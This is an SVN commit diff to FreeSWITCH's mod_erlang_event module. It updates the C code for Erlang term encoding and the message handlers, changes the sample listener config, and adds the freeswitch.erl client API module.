+	ei_x_encode_tuple_header(&buf, 2);
+	ei_x_encode_pid(&buf, ei_self(ec)); 
+	ei_init_ref(ec, ref);
+	ei_x_encode_ref(&buf, ref);
+	ei_x_encode_tuple_header(&buf, 5);
+	ei_x_encode_atom(&buf, "spawn");
+	ei_x_encode_atom(&buf, module);
+	ei_x_encode_atom(&buf, function);
+
+	/* argument list */
+	if (argc < 0) {
+		ei_x_encode_list_header(&buf, argc);
+		for(i = 0; i < argc && argv[i]; i++) {
+			ei_x_encode_atom(&buf, argv[i]);
+		}
+	}
+
+	ei_x_encode_empty_list(&buf);
+
+	/*if (i != argc - 1) {*/
+		/* horked argument list */
+	/*}*/
+
+	ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
+
+#ifdef EI_DEBUG
+	ei_x_print_reg_msg(&buf, "net_kernel", 1);
+#endif
+	return ei_reg_send(ec, sockfd, "net_kernel", buf.buff, buf.index);
+
+}
+
+
+/* stolen from erts/emulator/beam/erl_term.h */
+#define _REF_NUM_SIZE    18
+#define MAX_REFERENCE    (1 << _REF_NUM_SIZE)
+
+/* function to fill in an erlang reference struct */
+void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
+{
+	memset(ref, 0, sizeof(*ref)); /* zero out the struct */
+	snprintf(ref->node, MAXATOMLEN, "%s", ec->thisnodename);
+	
+	switch_mutex_lock(globals.ref_mutex);
+	globals.reference0++;
+	if (globals.reference0 >= MAX_REFERENCE) {
+		globals.reference0 = 0;
+		globals.reference1++;
+		if (globals.reference1 == 0) {
+			globals.reference2++;
+		}
+	}
+
+	ref->n[0] = globals.reference0;
+	ref->n[1] = globals.reference1;
+	ref->n[2] = globals.reference2;
+
+	switch_mutex_unlock(globals.ref_mutex);
+
+	ref->creation = 1; /* why is this 1 */
+	ref->len = 3; /* why is this 3 */
+}
+
+
+void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
+{
+	char *mbuf = NULL;
+	int i = 1;
+
+	ei_s_print_term(&mbuf, buf->buff, &i);
+
+	if (send) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending %s to %s\n", mbuf, dest);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received %s from %s\n", mbuf, dest);
+	}
+	free(mbuf);
+}
+
+
+void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
+{
+	char *pbuf = NULL;
+	int i = 0;
+	ei_x_buff pidbuf;
+
+	ei_x_new(&pidbuf);
+	ei_x_encode_pid(&pidbuf, pid);
+	
+	ei_s_print_term(&pbuf, pidbuf.buff, &i);
+
+	ei_x_print_reg_msg(buf, pbuf, send);
+	free(pbuf);
+}
+
+
+int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf)
+{
+	int ret;
+	if (process->type == ERLANG_PID) {
+		ret = ei_send(fd, &process->pid, buf->buff, buf->index);
+#ifdef EI_DEBUG
+		ei_x_print_msg(buf, &process->pid, 1);
+#endif
+	} else if (process->type == ERLANG_REG_PROCESS) {
+		ret = ei_reg_send(ec, fd, process->reg_name, buf->buff, buf->index);
+#ifdef EI_DEBUG
+		ei_x_print_reg_msg(buf, process->reg_name, 1);
+#endif
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid process type!\n");
+		/* wuh-oh */
+		ret = -1;
+	}
+
+	return ret;
+}
+
+
+/* convert an erlang reference to some kind of hashed string so we can store it as a hash key */
+void ei_hash_ref(erlang_ref *ref, char *output)
+{
+	/* very lazy */
+	sprintf(output, "%d.%d.%d@%s", ref->n[0], ref->n[1], ref->n[2], ref->node);
+}
+
+
+int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
+{
+	if ((!strcmp(pid1->node, pid2->node)) &&
+			pid1->creation == pid2->creation &&
+			pid1->num == pid2->num &&
+			pid1->serial == pid2->serial) {
+		return 0;
+	} else {
+		return 1;
+	}
+}
+
+
+int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst) {
+	int type, size, res;
+	long len;
+
+	ei_get_type(buf, index, &type, &size);
+
+	if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) {
+		return -1; 
+	} else if (size > maxlen) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n", type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
+		return -1;
+	} else if (type == ERL_BINARY_EXT) {
+		res = ei_decode_binary(buf, index, dst, &len);
+		dst[len] = '\0'; /* binaries aren't null terminated */
+	} else {
+		res = ei_decode_string(buf, index, dst);
+	}
+
+	return res;
+}
+
+
 switch_status_t initialise_ei(struct ei_cnode_s *ec)
 {
 	switch_status_t rv;
 	struct sockaddr_in server_addr;
+	struct hostent *nodehost;
+	char thishostname[EI_MAXHOSTNAMELEN+1] = "";
+	char thisnodename[MAXNODELEN+1];
 
 	/* zero out the struct before we use it */
 	memset(&server_addr, 0, sizeof(server_addr));
 	
 	/* convert the configured IP to network byte order, handing errors */
-	rv = inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
+	rv = switch_inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
 	if (rv == 0) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not parse invalid ip address: %s\n", prefs.ip);
 		return SWITCH_STATUS_FALSE;
@@ -144,14 +336,17 @@
 	server_addr.sin_family = AF_INET;
 	server_addr.sin_port = htons(prefs.port);
 	
-	struct hostent *nodehost = gethostbyaddr(&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET);
+#ifdef WIN32
+	 if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
+#else
+	if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
+#endif
+		memcpy(thishostname, nodehost->h_name, EI_MAXHOSTNAMELEN);
 	
-	char *thishostname = nodehost->h_name;
-	char thisnodename[MAXNODELEN+1];
-	
-	if (!strcmp(thishostname, "localhost"))
+	if (switch_strlen_zero_buf(thishostname)) {
 		gethostname(thishostname, EI_MAXHOSTNAMELEN);
-	
+	}
+
 	if (prefs.shortname) {
 		char *off;
 		if ((off = strchr(thishostname, '.'))) {
@@ -167,7 +362,6 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "ei initialized node at %s\n", thisnodename);
 	return SWITCH_STATUS_SUCCESS;
 }
 

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/erlang_event.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/erlang_event.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/erlang_event.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,9 +1,12 @@
 <configuration name="erlang_event.conf" description="Erlang Socket Client">
   <settings>
-    <param name="listen-ip" value="127.0.0.1"/>
+    <param name="listen-ip" value="0.0.0.0"/>
     <param name="listen-port" value="8031"/>
     <param name="cookie" value="ClueCon"/>
-    <param name="shortname" value="true"/>
-    <!--<param name="apply-inbound-acl" value="lan"/>-->
+		<param name="shortname" value="true"/>
+		<!-- in additon to cookie, optionally restrict by ACL -->
+		<!--<param name="apply-inbound-acl" value="lan"/>-->
+		<!-- alternative is "binary" -->
+		<!--<param name="encoding" value="string"/>--> 
   </settings>
 </configuration>

Copied: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/freeswitch.erl (from rev 14471, freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/freeswitch.erl) (0 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/freeswitch.erl	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/freeswitch.erl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,341 @@
+%% The contents of this file are subject to the Mozilla Public License
+%% Version 1.1 (the "License"); you may not use this file except in
+%% compliance with the License. You may obtain a copy of the License at
+%% http://www.mozilla.org/MPL/
+%% 
+%% Software distributed under the License is distributed on an "AS IS"
+%% basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
+%% License for the specific language governing rights and limitations
+%% under the License.
+%% 
+%% @author Andrew Thompson <andrew AT hijacked DOT us>
+%% @copyright 2008-2009 Andrew Thompson
+%% @doc A module for interfacing with FreeSWITCH using mod_erlang_event.
+
+-module(freeswitch).
+
+-export([send/2, api/3, api/2, bgapi/3, bgapi/4, event/2,
+		nixevent/2, noevents/1, close/1,
+		get_event_header/2, get_event_body/1,
+		get_event_name/1, getpid/1, sendmsg/3,
+		sendevent/3, sendevent_custom/3, handlecall/2, handlecall/3, start_fetch_handler/5,
+		start_log_handler/4, start_event_handler/4]).
+-define(TIMEOUT, 5000).
+
+%% @doc Return the value for a specific header in an event or `{error,notfound}'.
+get_event_header([], _Needle) ->
+	{error, notfound};
+get_event_header({event, Headers}, Needle) when is_list(Headers) ->
+	get_event_header(Headers, Needle);
+get_event_header([undefined | Headers], Needle) ->
+	get_event_header(Headers, Needle);
+get_event_header([UUID | Headers], Needle) when is_list(UUID) ->
+	get_event_header(Headers, Needle);
+get_event_header([{Key,Value} | Headers], Needle) ->
+	case Key of
+		Needle ->
+			Value;
+		_ ->
+			get_event_header(Headers, Needle)
+	end.
+
+%% @doc Return the name of the event.
+get_event_name(Event) ->
+	get_event_header(Event, "Event-Name").
+
+%% @doc Return the body of the event or `{error, notfound}' if no event body.
+get_event_body(Event) ->
+	get_event_header(Event, "body").
+
+%% @doc Send a raw term to FreeSWITCH. Returns the reply or `timeout' on a
+%% timeout.
+send(Node, Term) ->
+	{send, Node} ! Term,
+	receive
+		Response ->
+			Response
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Make a blocking API call to FreeSWITCH. The result of the API call is
+%% returned or `timeout' if FreeSWITCH fails to respond.
+api(Node, Cmd, Args) ->
+	{api, Node} ! {api, Cmd, Args},
+	receive
+		{ok, X} -> 
+			{ok, X};
+		{error, X} ->
+			{error, X}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Same as @link{api/3} except there's no additional arguments.
+api(Node, Cmd) ->
+	api(Node, Cmd, "").
+
+%% @doc Make a backgrounded API call to FreeSWITCH. The asynchronous reply is
+%% sent to calling process after it is received. This function
+%% returns the result of the initial bgapi call or `timeout' if FreeSWITCH fails
+%% to respond.
+-spec(bgapi/3 :: (Node :: atom(), Cmd :: atom(), Args :: string()) -> {'ok', string()} | {'error', any()} | 'timeout').
+bgapi(Node, Cmd, Args) ->
+	Self = self(),
+	% spawn a new process so that both responses go here instead of directly to
+	% the calling process.
+	spawn(fun() ->
+		{bgapi, Node} ! {bgapi, Cmd, Args},
+		receive
+			{error, Reason} ->
+				% send the error condition to the calling process
+				Self ! {api, {error, Reason}};
+			{ok, JobID} ->
+				% send the reply to the calling process
+				Self ! {api, {ok, JobID}},
+				receive % wait for the job's reply
+					{bgok, JobID, Reply} ->
+						% send the actual command output back to the calling process
+						Self ! {bgok, JobID, Reply};
+					{bgerror, JobID, Reply} ->
+						Self ! {bgerror, JobID, Reply}
+				end
+		after ?TIMEOUT ->
+			% send a timeout to the calling process
+			Self ! {api, timeout}
+		end
+	end),
+
+	% get the initial result of the command, NOT the asynchronous response, and
+	% return it
+	receive
+		{api, X} -> X
+	end.
+
+%% @doc Make a backgrounded API call to FreeSWITCH. The asynchronous reply is
+%% passed as the argument to `Fun' after it is received. This function
+%% returns the result of the initial bgapi call or `timeout' if FreeSWITCH fails
+%% to respond.
+-spec(bgapi/4 :: (Node :: atom(), Cmd :: atom(), Args :: string(), Fun :: fun()) -> 'ok' | {'error', any()} | 'timeout').
+bgapi(Node, Cmd, Args, Fun) ->
+	Self = self(),
+	% spawn a new process so that both responses go here instead of directly to
+	% the calling process.
+	spawn(fun() ->
+		{bgapi, Node} ! {bgapi, Cmd, Args},
+		receive
+			{error, Reason} ->
+				% send the error condition to the calling process
+				Self ! {api, {error, Reason}};
+			{ok, JobID} ->
+				% send the reply to the calling process
+				Self ! {api, ok},
+				receive % wait for the job's reply
+					{bgok, JobID, Reply} ->
+						% Call the function with the reply
+						Fun(ok, Reply);
+					{bgerror, JobID, Reply} ->
+						Fun(error, Reply)
+				end
+		after ?TIMEOUT ->
+			% send a timeout to the calling process
+			Self ! {api, timeout}
+		end
+	end),
+
+	% get the initial result of the command, NOT the asynchronous response, and
+	% return it
+	receive
+		{api, X} -> X
+	end.
+
+%% @doc Request to receive any events in the list `List'.
+event(Node, Events) when is_list(Events) ->
+	{event, Node} ! list_to_tuple(lists:append([event], Events)),
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end;
+event(Node, Event) when is_atom(Event) ->
+	event(Node, [Event]).
+
+%% @doc Stop receiving any events in the list `Events' from `Node'.
+nixevent(Node, Events) when is_list(Events) ->
+	{nixevent, Node} ! list_to_tuple(lists:append([nixevent], Events)),
+	receive
+		X -> X
+	after ?TIMEOUT ->
+		timeout
+	end;
+nixevent(Node, Event) when is_atom(Event) ->
+	nixevent(Node, [Event]).
+
+%% @doc Stop receiving any events from `Node'.
+noevents(Node) ->
+	{noevents, Node} ! noevents,
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Close the connection to `Node'.
+close(Node) ->
+	{close, Node} ! exit,
+	receive
+		ok -> ok
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Send an event to FreeSWITCH. `EventName' is the name of the event and
+%% `Headers' is a list of `{Key, Value}' string tuples. See the mod_event_socket
+%% documentation for more information.
+sendevent(Node, EventName, Headers) ->
+	{sendevent, Node} ! {sendevent, EventName, Headers},
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Send a CUSTOM event to FreeSWITCH. `SubClassName' is the name of the event
+%% subclass and `Headers' is a list of `{Key, Value}' string tuples. See the
+%% mod_event_socket documentation for more information.
+sendevent_custom(Node, SubClassName, Headers) ->
+	{sendevent, Node} ! {sendevent, 'CUSTOM',  SubClassName, Headers},
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+
+%% @doc Send a message to the call identified by `UUID'. `Headers' is a list of
+%% `{Key, Value}' string tuples.
+sendmsg(Node, UUID, Headers) ->
+	{sendmsg, Node} ! {sendmsg, UUID, Headers},
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+
+%% @doc Get the fake pid of the FreeSWITCH node at `Node'. This can be helpful
+%% for linking to the process. Returns `{ok, Pid}' or `timeout'.
+getpid(Node) ->
+	{getpid, Node} ! getpid,
+	receive
+		{ok, Pid} when is_pid(Pid) -> {ok, Pid}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Request that FreeSWITCH send any events pertaining to call `UUID' to
+%% `Process' where process is a registered process name.
+handlecall(Node, UUID, Process) ->
+	{handlecall, Node} ! {handlecall, UUID, Process},
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @doc Request that FreeSWITCH send any events pertaining to call `UUID' to
+%% the calling process.
+handlecall(Node, UUID) ->
+	{handlecall, Node} ! {handlecall, UUID},
+	receive
+		ok -> ok;
+		{error, Reason} -> {error, Reason}
+	after ?TIMEOUT ->
+		timeout
+	end.
+
+%% @private
+start_handler(Node, Type, Module, Function, State) ->
+	Self = self(),
+	spawn(fun() ->
+		monitor_node(Node, true),
+		{foo, Node} ! Type,
+		receive
+			ok ->
+				io:format("OK!!!!!!!~n"),
+				Self ! {Type, {ok, self()}},
+				apply(Module, Function, [Node, State]);
+			{error,Reason} ->
+				Self ! {Type, {error, Reason}}
+		after ?TIMEOUT ->
+				Self ! {Type, timeout}
+		end
+		end),
+	
+	receive
+		{Type, X} -> X
+	end.
+
+%% @todo Notify the process if it gets replaced by a new log handler.
+
+%% @doc Spawn `Module':`Function' as a log handler. The process will receive
+%% messages of the form `{log, [{level, LogLevel}, {text_channel, TextChannel}, {file, FileName}, {func, FunctionName}, {line, LineNumber}, {data, LogMessage}]}'
+%% or `{nodedown, Node}' if the FreesSWITCH node at `Node' exits.
+%% 
+%% The function specified by `Module':`Function' should be tail recursive and is
+%% passed one argument; the name of the FreeSWITCH node.
+%% 
+%% Subsequent calls to this function for the same node replaces the
+%% previous event handler with the newly spawned one.
+%% 
+%% This function returns either `{ok, Pid}' where `Pid' is the pid of the newly
+%% spawned process, `{error, Reason}' or the atom `timeout' if FreeSWITCH did
+%% not respond.
+start_log_handler(Node, Module, Function, State) ->
+	start_handler(Node, register_log_handler, Module, Function, State).
+
+%% @todo Notify the process if it gets replaced with a new event handler.
+
+%% @doc Spawn Module:Function as an event handler. The process will receive
+%% messages of the form `{event, [UniqueID, {Key, Value}, {...}]}' where
+%% `UniqueID' is either a FreeSWITCH call ID or `undefined' or
+%% `{nodedown, Node}' if the FreeSWITCH node at `Node' exits. 
+%% 
+%% The function specified by `Module':`Function' should be tail recursive and is
+%% passed one argument; the name of the FreeSWITCH node.
+%% 
+%% Subsequent calls to this function for the same node replaces the
+%% previous event handler with the newly spawned one.
+%% 
+%% This function returns either `{ok, Pid}' where `Pid' is the pid of the newly
+%% spawned process, `{error, Reason}' or the atom `timeout' if FreeSWITCH did
+%% not respond.
+start_event_handler(Node, Module, Function, State) ->
+	start_handler(Node, register_event_handler, Module, Function, State).
+
+%% @doc Spawn Module:Function as an XML config fetch handler for configs of type
+%% `Section'. See the FreeSWITCH documentation for mod_xml_rpc for more
+%% information on sections. The process will receive messages of the form 
+%% `{fetch, Section, Tag, Key, Value, ID, Data}' or `{nodedown, Node}' if the
+%% FreeSWITCH node at `Node' exits.
+%% 
+%% The function specified by `Module':`Function' should be tail recursive and is
+%% passed one argument; the name of the FreeSWITCH node. The function should
+%% send tuples back to FreeSWITCH of the form `{fetch_reply, ID, XML}' where
+%%`ID' is the ID received in the request tuple and  `XML' is XML in string or
+%% binary form of the form noted in the mod_xml_rpc documentation.
+%%
+%% Subsequent calls to this function for the same node and section will yield
+%% undefined behaviour.
+%% 
+%% This function returns either `{ok, Pid}' where `Pid' is the pid of the newly
+%% spawned process, `{error, Reason}' or the atom `timeout' if FreeSWITCH did
+%% not respond.
+start_fetch_handler(Node, Section, Module, Function, State) ->
+	start_handler(Node, {bind, Section}, Module, Function, State).

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/handle_msg.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/handle_msg.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_erlang_event/handle_msg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Andrew Thompson <andrew@hijacked.us>
  * Rob Charlton <rob.charlton@savageminds.com>
  *
@@ -37,6 +37,8 @@
 
 static char *MARKER = "1";
 
+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
+
 static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
 {
 	switch_bool_t r = SWITCH_TRUE;
@@ -77,10 +79,11 @@
 		switch_event_t *event;
 
 		if (switch_event_create(&event, SWITCH_EVENT_BACKGROUND_JOB) == SWITCH_STATUS_SUCCESS) {
+			ei_x_buff ebuf;
+
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Job-UUID", acs->uuid_str);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Job-Command", acs->api_cmd);
 
-			ei_x_buff ebuf;
 			ei_x_new_with_version(&ebuf);
 
 			if (acs->arg) {
@@ -101,12 +104,15 @@
 			else
 				ei_x_encode_atom(&ebuf, "bgerror");
 
-			ei_x_encode_string(&ebuf, acs->uuid_str);
-			ei_x_encode_string(&ebuf, reply);
+			_ei_x_encode_string(&ebuf, acs->uuid_str);
+			_ei_x_encode_string(&ebuf, reply);
 
 			switch_mutex_lock(acs->listener->sock_mutex);
 			ei_send(acs->listener->sockfd, &acs->pid, ebuf.buff, ebuf.index);
 			switch_mutex_unlock(acs->listener->sock_mutex);
+#ifdef EI_DEBUG
+			ei_x_print_msg(&ebuf, &acs->pid, 1);
+#endif
 
 			ei_x_free(&ebuf);
 		}
@@ -126,12 +132,15 @@
 			ei_x_encode_atom(&rbuf, "error");
 		}
 		
-		ei_x_encode_string(&rbuf, reply);
+		_ei_x_encode_string(&rbuf, reply);
 
 
 		switch_mutex_lock(acs->listener->sock_mutex);
 		ei_send(acs->listener->sockfd, &acs->pid, rbuf.buff, rbuf.index);
 		switch_mutex_unlock(acs->listener->sock_mutex);
+#ifdef EI_DEBUG
+		ei_x_print_msg(&rbuf, &acs->pid, 1);
+#endif
 
 		ei_x_free(&rbuf);
 	}
@@ -157,21 +166,50 @@
 static switch_status_t  handle_msg_fetch_reply(listener_t *listener, ei_x_buff *buf, ei_x_buff *rbuf)
 {
 	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+	void *p;
 
-	if (ei_decode_string(buf->buff, &buf->index, uuid_str)) {
+	if (ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
 		ei_x_encode_tuple_header(rbuf, 2);
 		ei_x_encode_atom(rbuf, "error");
 		ei_x_encode_atom(rbuf, "badarg");
-	}
-	else {
-		ei_x_buff *nbuf = switch_core_alloc(listener->pool, sizeof(nbuf));
-		nbuf->buff = switch_core_alloc(listener->pool, buf->buffsz);
+	} else {
+		ei_x_buff *nbuf = malloc(sizeof(nbuf));
+		nbuf->buff = malloc(buf->buffsz);
 		memcpy(nbuf->buff, buf->buff, buf->buffsz);
 		nbuf->index = buf->index;
 		nbuf->buffsz = buf->buffsz;
-	
-		switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);
-		ei_x_encode_atom(rbuf, "ok");
+
+		if ((p = switch_core_hash_find(listener->fetch_reply_hash, uuid_str))) {
+			if (p == &globals.TIMEOUT) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handler for %s timed out\n", uuid_str);
+				switch_core_hash_delete(listener->fetch_reply_hash, uuid_str);
+				ei_x_encode_tuple_header(rbuf, 2);
+				ei_x_encode_atom(rbuf, "error");
+				ei_x_encode_atom(rbuf, "timeout");
+			} else if (p == &globals.WAITING) {
+				/* update the key to point at a pid */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found waiting slot for %s\n", uuid_str);
+				switch_core_hash_delete(listener->fetch_reply_hash, uuid_str);
+				switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);
+				ei_x_encode_atom(rbuf, "ok");
+				return SWITCH_STATUS_SUCCESS;
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found filled slot for %s\n", uuid_str);
+				ei_x_encode_tuple_header(rbuf, 2);
+				ei_x_encode_atom(rbuf, "error");
+				ei_x_encode_atom(rbuf, "duplicate_response");
+			}
+		} else {
+			/* nothin in the hash */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Empty slot for %s\n", uuid_str);
+			ei_x_encode_tuple_header(rbuf, 2);
+			ei_x_encode_atom(rbuf, "error");
+			ei_x_encode_atom(rbuf, "invalid_uuid");
+		}
+
+		/*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);*/
+		switch_safe_free(nbuf->buff);
+		switch_safe_free(nbuf);
 	}
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -213,20 +251,22 @@
 	else {
 		int custom = 0;
 		switch_event_types_t type;
+		int i = 0;
 		
 		if (!switch_test_flag(listener, LFLAG_EVENTS)) {
 			switch_set_flag_locked(listener, LFLAG_EVENTS);
 		}
 		
-		for (int i = 1; i < arity; i++) {
+		for (i = 1; i < arity; i++) {
 			if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
 				
 				if (custom) {
 					switch_core_hash_insert(listener->event_hash, atom, MARKER);
 				} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
 					if (type == SWITCH_EVENT_ALL) {
+						uint32_t x = 0;
+
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "ALL events enabled\n");
-						uint32_t x = 0;
 						for (x = 0; x < SWITCH_EVENT_ALL; x++) {
 							listener->event_list[x] = 1;
 						}
@@ -258,9 +298,10 @@
 	}
 	else {
 		int custom = 0;
+		int i = 0;
 		switch_event_types_t type;
 		
-		for (int i = 1; i < arity; i++) {
+		for (i = 1; i < arity; i++) {
 			if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
 				
 				if (custom) {
@@ -354,27 +395,32 @@
 		
 		ei_x_encode_tuple_header(rbuf, 2);
 		ei_x_encode_atom(rbuf, "ok");
-		ei_x_encode_string(rbuf, acs->uuid_str);
+		_ei_x_encode_string(rbuf, acs->uuid_str);
 	}
 	return SWITCH_STATUS_SUCCESS;
 }
 
 static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
 {
-	char ename[MAXATOMLEN];
+	char ename[MAXATOMLEN+1];
+	char esname[MAXATOMLEN+1];
 	int headerlength;
+
+	memset(esname, 0, MAXATOMLEN);
 	
 	if (ei_decode_atom(buf->buff, &buf->index, ename) ||
+		(!strncasecmp(ename, "CUSTOM", MAXATOMLEN) &&
+		 ei_decode_atom(buf->buff, &buf->index, esname)) ||
 		ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
 		ei_x_encode_tuple_header(rbuf, 2);
 		ei_x_encode_atom(rbuf, "error");
 		ei_x_encode_atom(rbuf, "badarg");
-	}
-	else {
+	} else {
 		switch_event_types_t etype;
 		if (switch_name_event(ename, &etype) == SWITCH_STATUS_SUCCESS) {
 			switch_event_t *event;
-			if (switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
+			if ((strlen(esname) && switch_event_create_subclass(&event, etype, esname) == SWITCH_STATUS_SUCCESS) ||
+					switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
 				char key[1024];
 				char value[1024];
 				int i = 0;
@@ -408,10 +454,10 @@
 
 static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
 {
-	char uuid[37];
+	char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
 	int headerlength;
 			
-	if (ei_decode_string(buf->buff, &buf->index, uuid) ||
+	if (ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid) ||
 		ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
 		ei_x_encode_tuple_header(rbuf, 2);
 		ei_x_encode_atom(rbuf, "error");
@@ -419,7 +465,7 @@
 	}
 	else {
 		switch_core_session_t *session;
-		if (!switch_strlen_zero(uuid) && (session = switch_core_session_locate(uuid))) {
+		if (!switch_strlen_zero_buf(uuid) && (session = switch_core_session_locate(uuid))) {
 			switch_event_t *event;	  
 			if (switch_event_create(&event, SWITCH_EVENT_SEND_MESSAGE) == SWITCH_STATUS_SUCCESS) {
 				
@@ -453,7 +499,7 @@
 					
 				}
 			}
-			/* release the lock returned by switch_core_locate_session */
+			/* release the lock returned by session locate */
 			switch_core_session_rwunlock(session);
 
 		} else {
@@ -492,8 +538,6 @@
 			binding->process.pid = msg->from;
 			binding->listener = listener;
 
-			switch_core_hash_init(&listener->fetch_reply_hash, listener->pool);
-
 			switch_mutex_lock(globals.listener_mutex);
 
 			for (ptr = bindings.head; ptr && ptr->next; ptr = ptr->next);
@@ -516,24 +560,36 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-/* {handlecall,<uuid>,<handler process registered name>} */
-static switch_status_t handle_msg_handlecall(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+/* {handlecall,<uuid>,<handler process registered name>}
+   or
+   {handlecall,<uuid>} to send messages back to the sender
+ */
+static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
 {
 	char reg_name[MAXATOMLEN];
 	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
 
-	if (arity != 3 ||
